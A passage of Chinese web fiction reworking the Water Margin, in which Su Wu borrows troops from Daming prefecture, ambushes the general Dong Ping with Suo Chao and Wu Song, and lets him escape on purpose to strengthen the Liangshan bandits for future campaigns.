但也不是没有办法,只听苏武说:“那一伙劫生辰纲的贼寇,三番五次逃得缉拿,大军去捉,也落得个惨淡收场,这般贼寇,若是官府里无人与他们私下勾连,是万万不可能做得到这般之事,乃至寻常人也生不出这般胆来。” 梁中书闻言眉头一皱,就来看苏武,问:“你这番见地,倒是新鲜。” 那苏武就继续忽悠了:“此番缉拿到的几个贼人,便正是印证了此事,所以程知府才察知东平府军中,竟是有如此胆大包天之贼,不得不防,才差遣卑职远来。” 梁中书再看那案卷,慢慢就有了一脸怒色,只待看得差不多了,又转头来看苏武,说道:“程知府让你来借兵,朝廷兵马,但凡过州府之境,皆要由得枢密院之令……” 就看苏武来答:“如今事急,一桩谋反之事就在眼前,若是相公料敌先机,事急从权,当场扑杀,有童枢密与蔡太师在朝中,此大功也!” 梁中书闻言,竟是微微一笑:“你一个小小都头,还真懂得几分朝堂之事?是程知府教你这么说的?” 苏武不答问题,只接着说:“相公,如今那伙贼人占据了那八百里水泊梁山,有地利之便,已然难以剿灭,若想尽剿,唯有先除其在外的羽翼,再以围困之势弱敌,方可奏效。” 苏武只管把董平之辈,说成是梁山在外的羽翼。也是如今看来,这么说,也没什么破绽。 梁中书听得是眉目一张,再看苏武,只说:“看来不是程知府教你说的,你还真有几分谋略在心中,本府本也正愁此事,你倒是来得时机正好,可惜你身份低微,似也谋略无益。” 梁中书这话语里,显然有其他意思。 苏武立马再道:“已有程相公保荐抬举,卑职定在此事中尽心竭力,定把这伙大贼缉拿到中书相公当面。” 梁中书闻言,便是真笑几声:“你还当真机灵,听得懂本府招揽之言,却又有忠心,品行倒也不错,还知道如何不得罪本府,难怪程知府如此看重于你,这事啊,看来你当真办得来。” 苏武也笑了笑:“中书相公才是在人心之道,造诣深厚。” “哈哈……试你几番,你竟是滴水不漏,就问你,借多少兵马去?”梁中书已然从案后起身了。 “千余兵马即可,但要大名府管军提辖使索将军亲去。”苏武答道。 “嗯?你竟是连这些都打探清楚了,本府座下,索超还真数第一,你还有几分行事严谨的做派,看来此事当真要成,本府与你手书一封加印,你自去寻索超就是。” 梁中书抬笔就写,却也还说:“你可记住你的话语,来日要把那一伙贼人送到本府当面!” “谨记在心!定不食言。”苏武拱手一礼。 显然,梁中书对于那伙贼人的恨,已然无以复加!苏武这番投其所好,还真是恰到好处。 至于来日到底是哪一日?那就再说了,反正终归有这一日。 苏武如今倒是想通了许多事,如梁山那般的贼寇,在这大宋朝,起不来大势,哪怕没有那个一天到晚想招安的宋江,梁山也不可能成功。 原因有二,一来,大宋朝是历朝历代,士大夫与皇权绑定得最深的朝代,天下各地世家大族,与皇权的利益太过一致,即便有什么矛盾,那也是这群人里的内部矛盾,对外必然是一致的利益共同体。 所以,草莽想要真正崛起,难如登天。 第二,大宋之外,还有大敌,辽国只是其一,还不是主要,不久的将来,那完颜女真大金更是横扫而来。 若自己真的先把国家打得破碎不堪,不能全力对外,那就更是地狱难度。 所以,苏武来这大名府之前,就想定了许多,既要能用得上大宋士族阶级与皇权的力量,又要建立自己的一方势力,唯有如此,这乱世之中,苏武才能步步为营。 这条道路,是明确的。 所以,程万里那里,是第一块石头,大名府这一趟,就是第二块石头。 投石问路,先看看这条路,到底好走不好走。 大宋朝还有一点好,那就是不必当真见人就跪拜。 (兄弟们,又进六名,今日总榜第二十三,我心中真生出了一点点比较大胆的憧憬,诸位兄弟助我一臂之力!万分感谢!) 第39章 赴汤蹈火,定来相助! 大名府城内有军营之处,但大名府的校场在城外,着实是这大名府城内寸土寸金,且大名府的驻军着实不少。 这里的驻军与东平府的还有不同,大宋朝的官军分两种,一种是禁军,此时大概八十万出头,一种是厢军,厢军多来自受灾流民或者罪犯之类,也有四五十万。 大名府的驻军便多是禁军,少厢军。东平府的驻军便多厢军,禁军很少,若到了阳谷县,那就没有禁军了,云理万麾下都是厢军编制。 也就是说禁军主要在边境重镇与重要城池驻扎,乃至很大一部分就在东京汴梁周遭。当然,禁军时不时也会从厢军之中遴选人员补充。 除了禁厢之外,有些地方还有一些团练,也就是民团,许多也有官方编制。 苏武从府衙里出来,还当场拿到了梁山贼人的悬赏,不少,一千六百多贯钱。 城外军营倒也不难找,苏武带着武松,只在中军大帐里等了不多久。 人还没见到,就听得声音洪亮:“寻某的人哪位啊?” 再看索超走进来,并不是很高大的身材,甚至还有些肥胖,圆圆脸,耳朵很大,嘴巴也大,嘴唇也大,还有一脸络腮胡。 其实,乍一看并不是那凶恶模样,倒是与他那“急先锋”的莽撞名号并不十分贴切。 苏武抬手一礼:“阳谷县都头苏武,见过索提辖。” 索超先是一打量,便是爽朗笑声:“哈哈……好一条汉子,还有一条汉子,二位一看就是武艺在身吧?” 苏武笑道:“提辖若是技痒难耐,不在今日,中书相公的手书提辖想来也看到了,事急非常。” 索超好似还真不急,笑着说:“那董平,某也倒是知晓一二,可不是好打发的人,若来的是个软脚虾,某便知道此番之事怕是难办,看得你们二位,倒是又觉得这事不那么难。” 这索超还真在思索这件事怎么办,更也知道这件事没有那么简单。 苏武听懂了,立马就说:“若是真起厮杀,提辖放心就是,有我兄弟二人助阵,还有提辖龙精虎猛,那董平不在话下。” “听说你独自一人打过虎,中书相公恨之入骨的梁山之贼,你也亲手擒得来,想你也是悍勇之辈,某这就去点军。” 索超起身就去,就听得校场一通鼓响。 苏武也出门去看,他也是第一次正儿八经观看大宋朝的正规顶尖战力,得看个门道出来。 先有一惊,那就是大宋禁军的披甲率极高,就看那校场之上,两营兵马,一千人左右,不论是头前那百十号骑士,还是后面那几百号步卒,竟是皆有重甲在身。 只看索超连连发令,先是点卯,再是吩咐带三日粮食,然后即可出发…… 当真行动起来也快,说走就走,旌旗也起,烈风招展。 苏武与索超打马在前,就问:“大名府下,皆是如此精兵?” 索超倒也直爽,摆摆手:“大名府下,三万余军,能称得上精锐的,也就千余人了……你倒以为人人这般?那倒也好了,岂不知……唉……” 苏武明白过来了,又问:“提辖但说无妨……” “咱都是武夫之辈,倒也没什么不好说,大名府这里啊,吃穿用度什么都贵,军汉们却赚得少……若是靠点粮饷,如何养得活一家老小?不论禁厢,哪个不想多做点活去?” 索超说的就是如今大宋军中的普遍情况。 “军汉还能做其他营生?”苏武多少有些明知故问了。 这大宋这方面多少有些怪,越是大城市,越是兵马多,又越是生活成本极高,但大城市的兵,比起小地方的兵,并不多赚很多。 这也就导致了很多问题,就好比在阳谷县当兵,只要吃得上足额的军饷,小日子也就过得去。 但在大城池,哪怕吃足了军饷,日子过得不如狗。 索超便又说:“岂能不寻营生?泥瓦匠,打石匠,糊风筝糊灯笼,做蜡染布,但凡能寻的活,哪处不是挤满了军汉?你可知道最吃香的是什么营生吗?” “倒也不知……”苏武点着头,还真是乡下人进城见世面。 “说来吓你一跳,便是许多达官显贵里的看家护院,但凡哪个军汉被挑了去,那真是吃喝不愁了。” “这……这能行吗?”苏武表示很震惊,正规编制的军人,去打零工倒也罢了,还去给人家当护院佣人? 那军营军队还怎么管? 索超摆摆手:“行不行……不也行了吗?总不能当真教人吃得上顿没下顿,若是军中哗变,军将有几颗脑袋来砍?” “那……”苏武转头去看,看的是身后这千来号人。 “你看的啊……是某想方设法维持的局面,便是想方设法弄些钱财,弄些功劳,弄些赏赐……” 索超说得无奈,显然心中对如今这局势也有很大的怨气。 兴许“急先锋”这个名号,也很大一部分原因就在这里,急先锋,就是说他打仗冲锋勇猛,哪里有仗打,他就急着去急着上。 剿匪也好,捉贼也罢,乃至演武操练,他都急着表现,为何?就是身后这千来人难得维持。 要想部下安安心心给你当精锐,军械装备只是其一,你得真让他们稍稍过得富足一些,不必为了一家老小一日三餐担忧,且自己还能吃饱喝足,练个身强体壮。 这么看,索超是真难。 苏武不免也想到另外一个地方,那里生活成本更高,军汉更多,就问:“莫不……东京更是如此?” 问出这话的时候,苏武也就猜到了答案。 索超一笑:“东京?你没去过东京?在东京当军汉,放在早年间,开国年间,那自是好差事,而今……与大名府比,有过之而无不及。” “唉……”苏武只叹气,这般大宋朝,许多事,不冤…… 索超忽然又说:“某也听说了……” “提辖听说了什么?”苏武问。 “听说是你在中书相公那里点了某的名,某倒是也要谢你,此番去,定是要立功的,便也有赏,升官倒是好说,有钱拿……” 索超说着,看向苏武,稍稍拱手。 难怪初见的时候,索超态度还真不错,终究是投桃报李,你敬我,我敬你,你帮我,我也帮你。 苏武自也回礼:“好说……” 索超又问:“此番事罢,你我该是同僚了吧?” 这话问得……问到点子上了。 苏武倒也不藏着掖着了:“知府程相公倒是有过允诺……” “便是你,你得了你家知府信任,才能让你来办这般大差,那董平一去,东平府也当有良将来替,你家知府本就是童枢密门下,东京枢密院中,童枢密说了自然算,这点事办来不难。” 索超不愧是在大城市当官,消息就是灵。至于枢密院,大概就类似于大宋朝中央军委。 大宋朝,文武之间,天差地别,文官要考,武官靠拔,就是靠文官提拔。 “所以……索提辖是在提点呢?教的是治军之法?”苏武也有恍然大悟。 索超几言,就是在教苏武怎么治军,既要顾着一般士卒的生计,又要真维持出几分堪用的战力。 在这大宋朝,没有其他方法,就索超说的这一个办法了。 “哈哈……”索超笑着,络腮胡笑得左右一开一合。 “多谢索提辖。”苏武再拱手。 “来日某若有难事来寻你,你可也要来!”索超如此笑语。 “赴汤蹈火,定来相助!”苏武感受到了一种看似复杂,却很简单直接的友谊。 “好!此番事成,与你不醉不休!”索超声音洪亮,再一拱手。 (关于官职之事,许多兄弟提出来过,作个说明。其实简单,水浒里的人物官职很杂乱,也并不符合宋朝的规制,但只要是水浒、金瓶梅里的设定,一般都不改动,好在大多是一些比较低微的官职。其他的,一律用宋朝规制,如此杂糅来写,并不冲突的……) 第40章 当真饭桶!饭桶! 东平府,董平府中。 就听董平骂人:“阳谷也无,府衙也无,你寻不到你的人,你就去寻那苏武啊,把苏武寻到,不就什么事都了结了吗?” 焦头烂额的云理万只连连点头:“是这个道理,是这个道理……只是如今……苏武那厮,也寻不到了……” “唉……你真是个饭桶!”董平叹着气,左右又是踱步,又骂:“饭桶都不如!” 只待脚步一停,董平大手一挥:“这般,就来个守株待兔,他一个都头,终归要回衙门,不是回府衙,就是回县衙……你只管先回阳谷县,把兵马都聚好,几处城门等着,只待看到他人,就地扑杀。” “啊?直接这般杀?”云理万比起董平,少了几分疯狂。 “怎么?事到如今了,不是他死就是你死,你死倒也罢了,还要牵扯本将,不杀他还留着?” 董平着实怒火中烧。 “杀完……”云理万是战战兢兢。 “杀完怎么了?他不是带着梁山贼人吗?你怕什么?他若死了,话语不就随你来说了吗?他一个小小都头,能有几分能耐?何人会当真把他当回事?便是他来东平府,只要城门露了面,本将也就地扑杀……怕什么?” “行行行,好好好,就依将军所言,下官这就回阳谷等他……”云理万又是连连点头。 “等下……”董平忽然手一抬。 “将军吩咐就是……”云理万只管躬身拱手。 “你麾下有堪用之人吗?”董平还是聪明的,对于军事,他还真不是庸人。 云理万一脸尴尬…… “当真饭桶!饭桶!”董平又骂,然后说道:“到时候见着人还教你放跑了,与你百十精锐一道去。” 云理万当场就要哭出来了:“拜谢将军大恩!” 董平却依旧不爽快:“若不是看你平时还算孝敬,死了都懒得管你。” “再拜将军大恩大德!”云理万说哭就哭。 “滚!”董平大手一挥,深吸一口气,先看云理万屁滚尿流而去,便也起身,就是要去亲自安排,四面城门,皆要备下人手。 只待苏武一出现,必然要就地扑杀,万万不能让那苏武再逃脱。 杀人不是没麻烦,但那也只是麻烦,不杀,那就是危机,两害相权,只有这般了。 城中忽然一队一队兵丁来去…… 谁人看来,也知道兴许出了什么事。 知府程万里那里,自然也有人去报:“相公,那董将军不知是怎么的,忽然往各门调兵遣将……可不少呢……” 程万里立马从座位上弹起来了,口中也道:“不好不好……莫不是那厮有了警觉?” “啊?相公……” 程万里嘴唇轻抖,脸色眼看慢慢发白,只管问:“城中……城中哪里……你去寻个地方,寻个僻静之处,旁人不知之处,快……” “相公这是……” “你快去!不……你家住在哪里?”程万里着实有些惊慌了。 “小人家住北城……” “快快快,寻个车驾备在后衙门口,快去,本府就到你家住一住……” 程万里也知道苏武会从大名府带兵来。 但……当真厮杀起来,程万里直觉得自己好似生死就在一瞬了,万一苏武那边作战不力,可如何是好? 城里可没有人能挡得住那董平…… 还是得躲起来再说,赶紧出门去躲。 其实,很聪明。这位程知府,当真已经有了几分大宋文官们缺乏的危机意识…… 他真的第一次感受到了一种乱世之危。 也不管那小吏怎么想,程万里只管带着家小从后衙偷偷出门去躲。 董平也是真上心,自己亲自打马,游荡在几个城门之间,便是更把几个认识苏武的麾下之人分散各门。 等一日,却也没等到。 等第二日,等到了下午半晌。 西门,忽然远远看得一队人马慢慢由远及近,便是早已有人往董平去报。 董平飞快打马前来,站在城楼上远眺。 也是这东平府外地势较为平坦,高处视线当真看得极远,几里之外清晰可见,便也做不到那种忽然袭击。 董平身旁之人便问:“将军,没接到函文啊,没说最近有兵马调动啊?” 董平也是纳闷,东平府下,皆是他麾下,没有枢密院的令,外州府人马,岂能调动? 难道……是那知府程万里私下做了什么动作? 便是如此,东京来往,也不可能有这么快。 “你,打马去问问……”董平随手一挥。 就看一骑出城去,飞奔去迎。 就看城里出来了一骑,索超已然皱眉就问:“怕是有了防备……” 苏武立马就出主意:“无妨,我往后军去藏一藏,提辖只管与他说,就说是中书相公得知东平府衙擒了梁山之贼,看重非常,特命来提人往大名府去,中书相公要亲自来审。” “他若是问某怎么来得这么多人?”索超再问。 “提辖就说梁山大贼,不比一般,济州何涛已然大军皆失,不可不防,便是防的那些贼人!”苏武再说。 “兄弟当真有急智,好谋略啊……”索超笑着点点头。 苏武带着武松转身往后军去藏。 只待那人上前来问得几番,索超一一就答,那人又转头飞奔而去。 城楼之上,便往董平一番禀报。 董平却是马上就怒:“看来,苏武当真把人送到府衙来了?原道是教那程万里给藏起来了?程万里好算计啊,还想把人送到北京去……想来也是怕某做手脚?” 这般倒也合理了。 “将军,咱怎么办?是他们进来还是关城门啊?” 董平脑子转得飞快,左右看了看,只说:“把兄弟们都聚来,随着他们一起去提人!且看这人他们到底提不提得去……” “将军,咱要跟他们……打起来吗?” 董平怒目一瞪:“他敢跟某打起来吗?就问山东河北之地,哪个不知某马上之威名?” “那他们自是万万不敢……” 董平返身往城楼台阶去,只喊:“取某兵刃披挂来,马备好!那个……领兵来人是谁啊?” “是……那个……大名府管军提辖索超!” “谁?” (禀告诸位兄弟,又进四名,新书榜第十九名了。再拜!) 第41章 兄弟,料事如神呐 董平一听是索超,脚步顿了顿,问:“是那大名府管军提辖急先锋索超?” 身旁之人点了点头:“是他,将军……” 董平倒是稍稍思索了一二,却又是大手一挥:“他倒是有几分名声,但也无妨,只待他看得某马上持双枪,定也不敢造次!” 说完,便下了城楼,来到了城楼之下,披挂上马,只等得一刻,那千来号人便已然近到城前。 此时董平身边,左右一看,便是一两千号人,其中四五百披甲汉,百十来骑,只管往城外去,便是心中起了主意。 先排兵列阵,弄出一种严阵以待的模样。 离那城门不过三五百步了,索超伸手一挥,身后千来号人便也止住,又回头去看,看那苏武与武松,已然也手持长枪穿了一身甲胄,乍一看,与左右骑士无异。 苏武到得头前来,就听索超问:“苏武兄弟,那董平倒是列阵以待,这般如何是好?” 苏武微微一想,说道:“只待他派人前来,那人大概会说……让咱们在城外等着,他自去把人提来交付,如此,便是想着让提辖把提人的地点交给他们。” “那倒是不好操弄了……”索超已然皱眉,便也是转头左右吩咐:“也列好阵势。” 苏武更在思索,董平还真是个难缠的对手,性格上虽然有问题,但并不傻,相反还聪明非常。 那种出其不意寻个机会把董平擒拿的想法,此时显然不现实。 “来人了……”索超看得远方当真来了一骑。 苏武脑袋转得飞快,说道:“提辖,这般……那来人若真是说让他们提人来交付,你便先假意不愿,与他争辩几番,只待他来去传话几次,你再假意无奈答应下来……” “随便给个地址?”索超似也会意过来。 “嗯,我来编一个,就说是甜水井巷子,秦家饮子店……教他速速去把人提来。” 苏武对这东平府城倒也不熟,但毕竟来过两次,也住过,还真记得住几个店名。 索超又问:“然后呢?莫不是当真等他提人来?” “然后……”苏武忽然双眸凶光一闪,看向索超。 索超好似已然会意,就问:“莫不是……待他们以为得逞,只待那董平心喜之时,待他们心中松懈之时,打马就去冲阵?” 苏武认真点着头:“如今,唯有先下手为强了,那董平如何也料不到提辖当真说动手就动手,也是那董平还不知道自己通贼谋反之事已然败露……” 苏武便是算定董平一定觉得打不起来,为何? 因为他董平此时此刻,何曾有过谋反之心? 索超眉头皱得更深,踩着马镫稍稍站起,便是去观望远方董平军阵,然后忽然一语:“兄弟谋划已然是极好,那就这般办,一击打垮他们,便也事成!” 苏武还真有些担忧索超不同意,却也是小看了急先锋立功的那份心切。 再看那打马来人当真已近,苏武就打马转头去,退到百十骑之后。 来人还是刚才那个,先与索超见礼,再开口说:“索提辖,我家将军说,本也没有枢密院之函文,所以轻易还是不好放客军入城,不过既然是中书相公之命,也不好违背,提人是小事,不劳提辖,只管教小人走一遭,把人提来交付提辖就是。” 索超闻言,嘴角微微一扬,转瞬即逝,便是当真让那苏武猜中了。 索超立马面色一变,说道:“我自领命来提人,便是要做个交接,一手接一手,若是出了差错,教我如何回去复命,本是你家知府相公与我家中书相公议定之事,你去与董平说,就说必须由我亲自提到人来!” “提辖……” “莫要多言,回去与那董平禀报!”索超虎目一瞪,抬手赶人。 那人自是打马就回,只待稍稍走远,索超便是一脸笑转头去寻苏武,说道:“兄弟,料事如神呐!” 苏武又打马往前来,只说:“是那董平实在警觉狡诈。” “他警觉狡诈不也让你料到了吗?”索超哈哈笑起,又道:“兄弟当真不是一般武夫之辈……” “提辖谬赞……”苏武客气一下。 索超又说:“我这可不是什么谬赞,是兄弟着实让人高看,若是没有兄弟出谋划策,我此时还真有些难办了,不免只有一家伙子打将上去了……” 苏武只说:“只待要战之时,兄弟我也随在提辖左右,必与那董平不死不休。” 这话说来,就是给索超多一点底气与勇气,临阵之前,激励一下。 索超点着头:“我自信得兄弟是那义气之辈!此番若成,我愿与兄弟结金兰之义,不知兄弟意下如何?” “岂能不愿!”苏武已然拱手。 这种事,苏武明白,从来不单单是友谊情义,其中也还有利益,更有索超慢慢知道他苏武不是一般人。 当然,友谊情义是基础,这一战之后,这个基础就当真有了,还较为牢靠。 索超便也拱手回礼,就看那人又来了。 苏武再转头往骑士后面去…… 便听那来人话语:“我家将军说了,客军进城,万万不可,若是出得什么事情,谁也担待不起。既是提人这般小事,提辖若是执意要往城里去,不免教人心生疑惑……” 索超便也怒:“怎么?我奉中书相公之命来此,董平是什么意思?他疑我家中书相公什么?他当真好大的胆子,莫不是要我家中书相公前来当面?” “提辖,不是这个意思,是这般,也是无奈……” 索超直接打断那人话语,装出个火气很大:“去,莫要多言,再去禀报,让你家将军让路……” 那人无奈,转头打马又回,禀报一番。 董平立马就说:“果然这厮在防备与某,便更不能让他进城去,你再去回他,就说他是客军,无有枢密院令,万万不得让他入城,他若执意如此,那免不得就要与某董平刀兵相见,便是打起来了,往后枢密院里打官司,某也不惧他……” 传话之人唯有飞奔又去,把董平强硬的态度带去。 索超也知道差不多了,先是一脸愤怒骂得几声,再说:“那就由你们去提,但事先说好,出得任何差池,到时候蔡太师与中书相公怪罪下来,便都是他董平的祸事,且教他想好了,若是应了此语,便由他去提……” 话语又传到董平面前,他已然丝毫不作犹豫,只与传话之人说:“你只管让他把人在何处说来就是,不得一两刻,就给他把人提来交付。” 传话之人又去,就看索超不情不愿说出:“甜水井巷子,秦家饮子店里。” 最后一传了,只待传话人走,苏武带着武松已然来到军阵之前。 索超开口:“倒也不知那董平会不会亲自回城里去提人。” 苏武笃定一语:“会!” “为何?”索超再问。 “事关重大,他不是要去提人,是要去杀人,唯有亲手亲眼,他才能安心。另外,他心中必然不觉得提辖今日会当真动手,在他心中,提辖已然给出了提人之处,他便已然大获全胜了……” 苏武说话之间,目光只盯着那打马飞奔的传话之人,便是只等战机。 索超却是转头来看苏武,越看越是双眼发亮,便是此刻,他更有一种莫名的感觉,就是感觉苏武之语,必然应验。 这位苏武兄弟,当真非寻常人! 第43章 这厮要逃! 城门之处,只待董平冲到城下,那大名府来的先锋百十骑已然也涌入了城门洞里。 城门洞内两方人马挤作一团,有人急着逃命,有人急着冲锋,堵得已然是水泄不通。 那马蹄带铁,踩得地面嘎吱作响,不知是谁人的腿骨在断,也不知是谁人的胸骨在裂。 索超一柄金蘸斧,砸去就是火花四溅,劈砍更是骨肉分离。 就听一声怒吼:“索超,速速来死!” 董平来了,打着马也往这城门洞里钻,便是撞着踩着自家军汉也毫不在意。 董平,还有一个名号叫做“一撞直”,便是说他上阵极其悍勇,敌军阵前,便是横冲直撞。 那两杆长枪舞得飞快,只看左右几下,已然打下两人落马,当面再看,已然就是索超。 这城门洞子其实不小,却是这般场面之下,却又逼仄非常。 只看董平索超两人兵刃打在了一处,门洞之内,忽然为之左右一空,往里冲的止住了,往后退的退了出去。 竟就是董平一人,暂时挡在门洞里,挡住了城外千余兵马。 更是董平当真悍勇无双,马背之上,长枪叮噹来去,急先锋索超竟是已在连连防守。 只看索超马步不自觉在退,许是董平马背上的功夫更胜一筹,许是索超一柄金蘸斧少了几分敏捷。 董平左手一杆长枪,右手一杆长枪,若是两边一横,这城门洞当真就被他一人拦住。 却看索超身后一员小将猛的打马也上前去,此人名叫周谨,正是索超的徒弟,也使长枪,上前便是横枪先挡,抬枪再刺。 只得三五下,就看周瑾已是险象环生。 唯有索超再去,大斧泰山而下,那董平即便马步并未奔起,也是从容而避,一杆长枪再取索超。 身后苏武已然看懂了,这么打下去,索超还当真打不过马上这位双枪将董平,兴许来去三五十合,兴许六七十合,索超必败。 却是那董平还有话语:“这点本事,也敢到某这东平府来造次!” 苏武与武松对了个眼神,武松立马一声喊:“我来!” 武松不打马,下马一跃就去,也是这城门洞实在挤不下这么多马并排还要厮杀。 “是你们!”董平此时才注意到眼前苏武与武松二人,便是又说:“正好,速来受死!” 武松脚步往左一去,一脚踩在城门洞的墙壁上,人已跃得老高,一柄大朴刀快如闪电,就是劈砍。 董平显然知晓武松不是寻常之辈,当真是人马合一,脚后跟轻轻一磕马腹,马与人身形就让。 武松一刀就空,却是二刀又起,只管去砍那马蹄。 再看董平动作也快,一枪来挡,再以双腿控马,马不是退,而是前脚高高一跃。 当真有几分神乎其技,又是挡开避去。 “来!”董平一声喊,竟然打马回头了,出得门洞去,着实是这门洞太小,不好施展,只待到得大街之上,虽然也不宽敞,但已然施展得开。 也是董平托大,他当真觉得他一人就可以扭转战局。 武松已然追出,苏武索超也打马再出,呼呼啦啦不知多少人从城门洞里进到城内。 董平控马左右逡巡一二,他身后也很快聚了一堆披甲汉,便是叫骂:“你们这些小贼,安敢如此放肆,竟是引兵过境攻打府城!” 苏武立马就答:“董平你不顾朝廷律法,通贼谋反,罪证确凿,大名府与东平府两位相公下令擒拿,你还不束手就擒。” 这句话很重要,就看聚在董平身后的一众军汉,本还有几分镇定模样,忽然就变得目瞪口呆,皆往自家将军董平看去。 董平立马反驳:“我董平行得端坐得直,不过是那程万里构陷忠良,你们也不过走狗之辈!今日便看看是谁本事更大!” 答得这话,看似没问题,其实问题很大,就看董平身后,许多人已然面有慌乱。 苏武也不多言,就这句话足够,与索超一语:“提辖,莫要让此般反贼逃脱了。” 索超牙关一咬,打马再去。 苏武也不等候,他也不打马了,下马持枪,往前也去。 还是武松最快,大朴刀迎头再砍,便是朴刀划空,也能有破空之声呼呼作响。 董平这边去挡朴刀,那边索超又来,金蘸斧虽然不是极快,却是势大力沉。 董平双枪在手,便也去挡,还有苏武一跃而近,挺枪也刺。 一时间董平还真有些手忙脚乱,便是大喊:“都愣着做什么?杀!” 董平身后,也冲出两骑来,一个挡苏武,一个挡武松。 却是董平身后更多的人,皆是那犹豫模样。 有人当兵当得久,有人当兵当得短,却是不论哪个,如今大宋朝的兵,谁人又真正遭遇过这般厮杀场面? 却是自家将军好似真有点什么问题……虽然不知道什么事,但引得两位相公派兵来拿…… 再看索超,一时又是陷入了下风,便也大喊:“上,快上!” 索超身后,披甲军汉无数,往前就拥,那索超徒弟周谨,更是一马当先往对面人群里冲去。 一声惨叫之下,就看武松劈得一人落马,只去看苏武那边。 苏武长枪用得不精,却是这长枪又是最好用的兵刃,连连捅得当面那骑步步在退,骑兵马步不奔的时候,乱阵之中,其实威势不大。 终究不是骑兵来去如风的野战对垒,而是在这街道之上,董平与董平麾下骑兵,皆少了那最大的优势。 看似马战,其实步战,更是混战。 这也是苏武在城外百般谋划的结果,董平其实早已失了优势。 见得苏武并无危险,武松只管又往那董平去。 只待武松朴刀又来,董平立马就落下风,两杆长枪已然左右忙不过来。 更是那武松朴刀带着巨力,战得董平只感觉虎口酥麻,手臂颤抖。 又是一声惨烈哀嚎,董平转头去看,那苏武竟也能把他董平心腹捅刺下马…… 马背之上,董平已然只剩下连连招架,好在他控马之术了得非常,招架之间,竟是不知觉中马已转身。 “这厮要逃!”索超一声呼喊。 武松连忙飞奔几步往前去截。 董平当真打马要跑,座下马匹奋蹄要奔,武松朴刀在拦,与那董平长枪再是一碰,又是火花四溅。 却是苏武忽然一语:“让他走!” 武松疑惑之间转头来看,就是这刹那,董平马蹄已然越过武松。 索超也是一脸疑惑。 第44章 山东,当起大贼。 就听董平咬牙切齿一语:“你们这些奸贼,只待来日,我誓报此仇!” 大街之上,董平打马飞奔往东去,他显然知道大势已去,只为赶紧从东门那边抢出城外,先保命再说。 董平本事虽大,但从来也是个惜命之辈。 苏武身旁,索超已然在问:“兄弟何以放他走啊?” 苏武不答,只是左右呼喊:“今日之事,只关乎董平一人,尔等不明其中,放下兵刃,跪地投降,概不追究。” 就看左右,叮叮当当皆是放下兵刃的声音,打眼望去,无数东平府的军汉当街就跪。 就看这一幕,苏武也知道,在这大宋朝,造反这件事,太难太难。 即便是故事里的梁山大贼,打的旗号也不是造反,而是要替天行道,确切还有一语:酷吏赃官都杀尽,忠心报答赵官家。 这才是梁山真正的意识形态,不论做了多少杀人放火之事,还是要报答大宋的赵家天子。 只待局势控制住了,苏武才与索超说道:“提辖,先把这些人收拢安置一番。” 索超点了点头:“好说……” 就看索超左右安排麾下军将收拢败兵与兵刃。 随后,索超下马走到苏武身边,轻声来问:“兄弟是什么谋划?” 苏武却也反问:“提辖要听真话还是假话?” “这……”索超在会其中之意,想得一想,说道:“今日一番,你我二人,从此进退与共,福祸一门!” “好!”苏武点着头,索超这番话说来,便是表态了。 如此,苏武也就不说假了,只附耳轻声与索超说:“若是假话呢,便是那董平着实了得,拦之不得,唯有让他单独脱身而去。若是真话呢,提辖本也日日为那建功立业之事烦忧,却是而今,哪里有那么多功劳能立?” 索超听到这里,忽然眼眸之中精光一闪:“兄弟之意,莫不是养……” “是,周遭州府,那董平丧家之犬,能去哪里?唯有梁山大贼之处,那梁山大贼,此时其实不过只是仗一些水泊地利罢了,不曾真有几分威势。这董平一去,梁山贼寇,兴许还真多了几分威势,如此才容得下几番进剿厮杀。” 苏武慢慢说着,他早已分析了许多,此时梁山,还真是拿不出手,梁山要想真正崛起,还要发生很多事。 但其中许多事,苏武必然不能让梁山做成,比如独龙岗上的三庄,又比如二龙山之类,还有梁山几番攻掠州府的大胜。 这些苏武都要阻止梁山做成。 那么,到时候梁山只怕太弱了,弱了就成不了大贼之势,没有了这个大贼,如苏武索超这种要建功立业的人,又往哪里去建功立业? 来日不远,宋辽要战,宋金接着又要战。苏武若是不能在这之前,掌几分权柄在手,又何以影响天下大局。 所以,这董平,放了比杀了好,这梁山大贼,也必须要起,不能真是三个打渔人加一个村学究…… 必须得加强一下梁山的实力。 索超已是恍然大悟:“如此……正是你我军汉建功立业之时。” 苏武点点头:“山东,当起大贼。” 索超此时也点头:“兄弟真是谋得远啊,我不及也,往后这谋划之事,我就只管听兄弟的就是。” “走,先去寻知府相公。”苏武已然起身。 索超便是跟随,武松也跟,一旁还有周谨,众人直往府衙去。 府衙里哪里还有知府相公,甚至连一个人都没有,不论是官吏,还是衙差,皆是奔逃一空。 苏武看着叹气。 索超笑道:“兄弟不必怪什么,人之常情罢了,只待等一会儿,一会儿城中都知道董平败逃,自也就都回来了。” 等着吧…… 等得几个衙差小吏探头探脑来看,便是看得几番之后,便也走进来了。 有人已然开口:“苏都头当真威武!” “是啊是啊,那董平竟也被打得抱头鼠窜了。” 恭维话语已然就要此起彼伏了,苏武只问:“相公呢?” 众人面面相觑,哪里知道相公在何处? 就看门口又一个探头探脑的小吏往里瞧,瞧得几番,激动不已:“我知道我知道,快快快,相公在我家里。” 苏武自也起身:“走,去迎相公回衙。” 街面上,早已是空无一人,只有那一双双眼睛从门缝与窗户缝隙里瞧出来。 苏武便吩咐人来大喊:“无事了无事了,那董平已然逃走了。” 如此一边走一边喊,街面上才慢慢有了几个人影当真出来看。 只待到得小吏家中,推门进院,那知府相公程万里竟也是趴在厢房窗户缝隙往院里看。 只待看得来人,惊喜不已:“苏武啊,你当真是胜了?” “相公,无事了,胜了,只可惜走脱了董平。”苏武笑着答。 程万里从厢房出来,奔到院中,一脸欣喜:“无妨无妨,走脱了无妨,本府早就知道,此事必成,此事必成啊!” 就看众人左右拜见,程万里连连摆手:“诸位此番,功勋卓著,论功行赏,一个也少不了,索提辖自也有中书相公来封赏,到时候本府也当手书一封与中书相公说清道明……” 索超脸上有笑,拱手一礼:“拜谢程相公。” 程万里此时做派十足,站得也直,气度也在,又道:“当然,此番大名府军远来辛劳,稍后府衙里自也要出一些资费劳军,至于抚恤之事,那也是一应不会缺。” “再谢程相公!”索超心中自是乐开了花,这里得一遭钱,回去自还有一遭,双倍快乐。 如此,程万里再看苏武,微微一笑:“苏都头更是居功至伟,头前早已说好,董平一去,东平府兵马都监空缺,这事啊,苏武你来暂代府内军事,只待本府公文往枢密院来去两番,此事就成,兵马都监之职,非你莫属,也不枉你如此忠义奋死!” 武松闻言,已然是激动不已,只管去看自家哥哥,更是与有荣焉在心。 